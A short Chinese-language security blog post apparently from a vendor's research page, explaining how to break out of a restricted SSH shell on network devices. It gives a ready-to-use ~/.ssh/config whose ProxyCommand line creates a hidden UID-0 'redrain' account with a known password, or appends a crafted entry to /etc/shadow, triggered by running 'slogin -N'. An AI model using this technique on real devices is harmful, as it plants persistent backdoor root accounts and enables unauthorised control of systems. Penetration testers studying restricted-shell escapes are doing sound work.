网络设备中限制用户命令交互的逃逸

Secably Research
Jul 06, 2026
1 min read
Security Research
在实际渗透场景中,有很多网络设备我们拿到了root权限后ssh登陆发现有命令执行限制,这是因为ssh接口提供了一个特殊的受限制的命令外壳程序,类似busybox的感觉,他可以允许root用户对设备进行配置处理,但是不允许进行命令交互,所以相当于我们拿到的只是一个鸡肋的root用户,为了突破这种限制,我们有特别的姿势
因为开放了ssh服务,所以我们可以使用scp,但是scp是无法创建目录的,所以我们想到的第一个办法是到用户目录的.ssh下,上传公钥,然后登陆到系统无需密码,事实证明可以成功登陆,但是登陆的用户的shell默认还是在这个受限的外壳下,命令交互依旧不成功
那如何逃逸这种限制?比较好玩儿,ssh给我们提供了一个可以按照配置预期执行命令的功能,在$HOME/.ssh/config中进行配置,我们可以达到这样的效果
我们在配置文件中预期执行添加一个新的root用户,UID为0且无限制执行命令,以此来逃逸网络设备的限制问题

config内容如下:
host ztzsb          #随便写一个host名称
hostname ip          #填写当前ip
user root     #填写当前受限用户
#ProxyCommand /bin/bash %h %p
ProxyCommand useradd -p \`openssl passwd -1 -salt 'mujj' redrain\` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/redrain redrain
#或者echo一个到/etc/shadow
#ProxyCommand echo "redrain:\$1\$mujj\$NIovcyWTUzr76qHvsju0v.:10000:0:99999:7:::" >> /etc/shadow
此时,当我们使用内置的slogin就会触发这个配置
只需要scp把这个配置文件传到我们刚才受限的用户目录的.ssh/下,登陆这个受限用户后执行
slogin -N ztzsb
就会执行配置中的命令~
Related tool: Try Secably's free Port Scanner online.

Check your site for vulnerabilities

Run a free security scan — no signup, results in seconds.

Related Posts

Stronger security starts with visibility.

Scan your website for vulnerabilities and get actionable insights.

Secure your website and accounts

Tools we recommend for site owners and admins.

Compare VPS prices →

Affiliate links: we may earn a commission, your price stays the same.